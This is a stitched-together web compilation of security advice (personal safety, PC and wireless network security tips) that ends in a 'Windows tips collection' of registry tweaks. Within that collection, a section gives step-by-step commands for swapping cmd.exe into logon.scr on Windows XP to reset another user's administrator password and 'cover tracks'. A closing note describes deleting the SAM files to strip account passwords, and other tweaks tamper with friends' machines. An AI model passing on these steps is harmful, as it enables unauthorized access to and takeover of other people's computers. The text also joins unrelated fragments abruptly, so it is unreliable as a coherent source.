even having a service like your phone canceled by someone else without your consent. A paper shredder is a cheap and easy investment - shred anything with any account number or personal info before throwing it away or recycling it. Many banks or institutions will accept an original bill with your name and address as a form of identification for creating a new account, so it can be as valuable to a thief as your driver's license when creating an account in your name. By shredding it, you not only stop them from being able to do this, but you can still recycle the paper to your heart's content.

Security awareness should be more than a term - it should be a phrase taught to your children and a way of living a safer life. The most important thing is to be aware of your surroundings no matter where you are, and no matter what you are doing. This immediately puts you in a position of confidence and power, with is often the thing a thief is looking to avoid, thereby making someone else a better target than you. When entering an unfamiliar place, take a moment to familiarize yourself - take note of any other people in the room, your position relative to other doorways and exits, crowds of people, skirmishes, noises, or things to avoid. This is basically the first step of a security company's threat assessment in any situation, and while it may seem to be overboard to do it on a personal level, that is precisely what can keep professionals safe when traveling in dangerous areas and isn't a bad habit to get in to. The key is to be proactive - look first and be aware of what and who is around you before there is a problem. Identify who may be a threat to your personal security by their actions they may be obviously drunk, wildly outspoken, or even belligerent or menacing to others. Take initial action by turning your body towards them, which lets you center your attention better by having them closer to the center of your scope of vision and out of the edge of your peripheral vision, and by locating the nearest exit in case a casual few steps towards it are necessary. The best way to avoid a threat is to not be there at all.

Security Tips
The openness of the Internet has dramatically transformed global communications, making it possible for people around the world to easily exchange information. But the very same openness also creates an enormous problem. Anyone can access the network, yet not everyone has good intentions. Some engage in malicious mischief by unleashing destructive software, while others view hacking computer networks as sport. Then there are people with criminal intent. To avoid becoming a victim of misguided pranksters or cybercriminals, take the time to examine the security of your personal data. Here are some recommendations, along with links to more detailed information: 1.Use anti-virus software. Viruses spread rapidly and can damage or destroy your computer. New ones appear daily. It's critical that you install and update anti-virus software regularly. Use the program to scan all the files on your system once a week, deleting the infected ones. Learn more. It's True

A 2009 study by Consumer Reports estimates the cost of cybercrime to U.S. consumers at $8 billion. 2.Be wary of e-mail attachments. A virus can hide in an attachment. Opening it unleashes the virus. Don't open an attachment from anyone you don't know. Even if you do know the sender, an infected attachment may have been surreptitiously sent from an infected machine. The safest thing to do is to scan the attachment with anti-virus software before you open it. 3.Install a firewall on your computer. A firewall is a software program that blocks unauthorized access to your computer. This is particularly important if you have a broadband connection, such as DSL or a cable modem. Windows XP, Vista, Windows 7 and Mac OS X have built-in firewalls, so make sure they're activated if you use those operating systems. If not, try ZoneAlarm. You can download it for free for personal use from Zone Labs. 4.Protect your passwords. Many online services, such as banking, brokerage and e-mail require the use of passwords. A secure password is the first line of defense against cybersnoops. Use a different password for each account, don't divulge them to anyone and change them periodically. Learn more. 5.Update security patches for your operating system and web browser. You've probably read about security "holes" that turn up periodically. Once they're discovered, you can download fixes. For Windows users, an easy way to update your system is by clicking on the Windows Update option under the Start menu or by pointing your web browser to this link: http://windowsupdate.microsoft.com/.

6.Back up your data. Make copies of your files in case they become corrupted, your system fails or your computer is damaged or stolen. Get in the habit of doing this regularly, at least once a week. Better yet, set your system to automatically back up your files. Learn more. 7.Log offline when you're done for the day. You are most vulnerable when connected to the Net. If there isn't a good reason to remain online, disconnect from the network, especially if you'll be gone for an extended period of time. Follow these tips to enhance your personal security and the health of your PC.

Top 10 network security tips
Mark Edmead Rating: -3.80- (out of 5) I was asked by a client to develop a "best practices" guide for securing Microsoft IIS 5.0. In my search for supporting reference material, I came across a very informative document called The 60 Minute Network Security Guide on the National Security Agency Web site (www.nsa.gov). The document is only about 40 pages long, but it's packed with valuable pearls of wisdom on how to secure your network enterprise, including specific information for Windows and Unix systems. The document is what is known as a "best practices" guideline for network security. Here's a summary: 1. Make sure you have a security policy in place -² The security policy is the formal statement of rules on how security will be implemented in your organization. A security policy should define the level of security and the roles and responsibilities of users, administrators and managers. 2. Make sure all of your operating systems and applications are patched with the latest service packs and hotfixes -² Keeping your systems patched will close vulnerabilities that can be exploited by hackers. 3. Keep an inventory of your network devices -² Develop and maintain a list of all hardware/software components, and understand which default software installations provide weak security configurations. 4. Scan TCP/UDP services -² Turn off or remove unnecessary services. Unneeded services can be the entry point attackers use to gain control of your system. 5. Establish a strong password policy -² Weak passwords could mean a compromised user account. 6. Don't trust code from non-trusted sources. 7. Block certain e-mail attachment types -² This list includes .bas, .bat, .exe and .vbs. 8. Don't provide more rights to system resources than necessary -² Implement the concept of "least privilege". 9. Perform your own network security ...

10 Tips for Wireless Home Network Security
By Bradley Mitchell, About.com Guide

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wi-fi network security home network security home security systems

Many folks setting up wireless home networks rush through the job to get their Internet connectivity working as quickly as possible. That's totally understandable. It's also quite risky as numerous security problems can result. Today's Wi-Fi networking products don't always help the situation as configuring their security features can be time-consuming and non-intuitive. The recommendations below summarize the steps you should take to improve the security of your home wireless network.

1. Change Default Administrator Passwords (and Usernames)
At the core of most Wi-Fi home networks is an access point or router. To set up these pieces of equipment, manufacturers provide Web pages that allow owners to enter their network address and account information. These Web tools are protected with a login screen (username and password) so that only the rightful owner can do this. However, for any given piece of equipment, the logins provided are simple and very well-known to hackers on the Internet. Change these settings immediately. More Info Sponsored Links

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2. Turn on (Compatible) WPA / WEP Encryption
All Wi-Fi equipment supports some form of encryption. Encryption technology scrambles messages sent over wireless networks so that they cannot be easily read by humans. Several encryption technologies exist for Wi-Fi today. Naturally you will want to pick the strongest form of encryption that works with your wireless network. However, the way these technologies work, all Wi-Fi devices on your network must share the identical encryption settings. Therefore you may need to find a "lowest common demoninator" setting. More Info

3. Change the Default SSID
Access points and routers all use a network name called the SSID. Manufacturers normally ship their products with the same SSID set. For example, the SSID for Linksys devices is normally "linksys." True, knowing the SSID does not by itself allow your neighbors to break into your network, but it is a start.

More importantly, when someone finds a default SSID, they see it is a poorly configured network and are much more likely to attack it. Change the default SSID immediately when configuring wireless security on your network. More Info

4. Enable MAC Address Filtering
Each piece of Wi-Fi gear possesses a unique identifier called the physical address or MAC address. Access points and routers keep track of the MAC addresses of all devices that connect to them. Many such products offer the owner an option to key in the MAC addresses of their home equipment, that restricts the network to only allow connections from those devices. Do this, but also know that the feature is not so powerful as it may seem. Hackers and their software programs can fake MAC addresses easily. More Info

5. Disable SSID Broadcast
In Wi-Fi networking, the wireless access point or router typically broadcasts the network name (SSID) over the air at regular intervals. This feature was designed for businesses and mobile hotspots where Wi-Fi clients may roam in and out of range. In the home, this roaming feature is unnecessary, and it increases the likelihood someone will try to log in to your home network. Fortunately, most Wi-Fi access points allow the SSID broadcast feature to be disabled by the network administrator. More Info

6. Do Not Auto-Connect to Open Wi-Fi Networks
Connecting to an open Wi-Fi network such as a free wireless hotspot or your neighbor's router exposes your computer to security risks. Although not normally enabled, most computers have a setting available allowing these connections to happen automatically without notifying you (the user). This setting should not be enabled except in temporary situations. More Info

7. Assign Static IP Addresses to Devices
Most home networkers gravitate toward using dynamic IP addresses. DHCP technology is indeed easy to set up. Unfortunately, this convenience also works to the advantage of network attackers, who can easily obtain valid IP addresses from your network's DHCP pool. Turn off DHCP on the router or access point, set a fixed IP address range instead, then configure each connected device to match. Use a private IP address range (like 10.0.0.x) to prevent computers from being directly reached from the Internet. More Info

8. Enable Firewalls On Each Computer and the Router
Modern network routers contain built-in firewall capability, but the option also exists to disable them. Ensure that your router's firewall is turned on. For extra protection, consider installing and running personal firewall software on each computer connected to the router. More Info

9. Position the Router or Access Point Safely
Wi-Fi signals normally reach to the exterior of a home. A small amount of signal leakage outdoors is not a problem, but the further this signal reaches, the easier it is for others to detect and exploit. Wi-Fi signals often reach through neighboring homes and into streets, for example. When installing a wireless home network, the position of the access point or router determines its reach. Try to position these devices near the center of the home rather than near windows to minimize leakage. More Info

10. Turn Off the Network During Extended Periods of Non-Use
The ultimate in wireless security measures, shutting down your network will most certainly prevent outside hackers from breaking in! While impractical to turn off and on the devices frequently, at least consider doing so during travel or extended periods offline. Computer disk drives have been known to suffer from power cycle wear-and-tear, but this is a secondary concern for broadband modems and routers. If you own a wireless router but are only using it wired (Ethernet) connections, you can also sometimes turn off Wi-Fi on a broadband router without powering down the entire network.

WINDOWS TIPS COLLECTION
How to hack windows XP admin password
If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly: cd\ *drops to root cd\windows\system32 *directs to the system32 dir mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr exit *quits dos

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user <admin account name here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and your in.

Have fun p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Registry Hacking
Display legal notice on startup: Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up. REGEDIT [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\syste m] "legalnoticecaption"="enter your notice caption" "legalnoticetext"="enter your legal notice text" Automatic Administrator Login: Well here's the trick which you can use to prove that Windows XP is not at all secure as multiuser operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account. REGEDIT 4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "AutoAdminLogon"="1" No Shutdown: Wanna play with your friends by removing the shutdown option from start menu in their computer. Just hack it down !!! Regedit

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer "NoClose"="DWORD:1" Menu Delays: Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect. GPEDIT.MSC And Autoplay A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'. Increasing options in add/remove programs: Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this: [Components] NtComponents=ntoc.dll,NtOcSetupProc,,4 WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7 Display=desk.cpl,DisplayOcSetupProc,,7 Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7 NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7 iis=iis.dll,OcEntry,iis.inf,,7 com=comsetup.dll,OcEntry,comnt5.inf,hide,7 dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7 IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7 TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2 msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6 ims=imsinsnt.dll,OcEntry,ims.inf,,7 fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7 AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7 msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7 RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7 IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so: msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7 To this: msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7 Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",". Automatically Kill Programs At Shutdown: don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1. Speeding Up Share Viewing: This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement! Create a Shortcut to Lock Your Computer Leaving your computer in a hurry but you don¶t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a

shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient. Speed up Internet Explorer 6 Favorites For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works. Aspi WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.

Another way ...
Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.